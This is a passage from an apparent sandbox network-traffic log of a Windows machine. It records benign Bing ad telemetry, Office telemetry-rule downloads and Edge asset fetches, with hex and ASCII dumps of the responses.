Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49901	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:51 UTC	413	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ed3d001be68049bbb5f2765b5770c75e&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=019153D917C7684C3781469A16A5691E; MR=0
2024-11-26 15:31:51 UTC	765	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=E8OOgcamJav6i3YINMV2ws7SVfgx6Xyob4wcSgpSsRk; domain=.bing.com; expires=Sun, 21-Dec-2025 15:31:51 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1C845F58183345CDB907DA1F97E2F94A Ref B: EWR311000103017 Ref C: 2024-11-26T15:31:51Z Date: Tue, 26 Nov 2024 15:31:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:52 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153152Z-174f7845968xlwnmhC1EWR0sv80000000vk000000000124m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:52 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:52 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153152Z-174f7845968glpgnhC1EWR7uec0000000vr000000000mhzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:52 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49875	23.200.88.39	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:52 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
2024-11-26 15:31:52 UTC	1004	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Tue, 26 Nov 2024 15:31:52 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.200.89.132,b=513247180,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.200.89.132 Akamai-Request-ID: 1e9787cc Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.8459c817.1732635112.1e9787cc Vary: Origin
2024-11-26 15:31:52 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:52 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:53 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153153Z-174f7845968qj8jrhC1EWRh41s0000000vh000000000gvf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:53 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49906	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:53 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:53 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:53 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 0fa3f0b7-901e-002d-4291-3febc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153153Z-174f7845968glpgnhC1EWR7uec0000000vpg00000000rua9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:53 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49907	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:53 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:54 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:53 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 31a78a87-201e-0070-1618-401bc3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153153Z-174f7845968zgtf6hC1EWRqd8s0000000nhg00000000h5f1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-26 15:31:54 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:53 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153153Z-174f7845968kdththC1EWRzvxn00000007v000000000qzwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153153Z-174f784596886s2bhC1EWR743w0000000vr0000000006ud1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49909	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:53 UTC	474	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ed3d001be68049bbb5f2765b5770c75e&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=019153D917C7684C3781469A16A5691E; MSPTC=E8OOgcamJav6i3YINMV2ws7SVfgx6Xyob4wcSgpSsRk; MR=0
2024-11-26 15:31:53 UTC	599	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5EA5C0D346E94E1F894B4B58010A384C Ref B: EWR30EDGE0905 Ref C: 2024-11-26T15:31:53Z Date: Tue, 26 Nov 2024 15:31:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49872	20.110.205.119	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:54 UTC	1175	OUT	GET /c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
2024-11-26 15:31:54 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&RedC=c.msn.com&MXFR=2FBC76E93A286CF7086363AA3B5A6D16 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2FBC76E93A286CF7086363AA3B5A6D16; domain=.msn.com; expires=Sun, 21-Dec-2025 15:31:54 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 26 Nov 2024 15:31:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49877	18.238.49.124	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
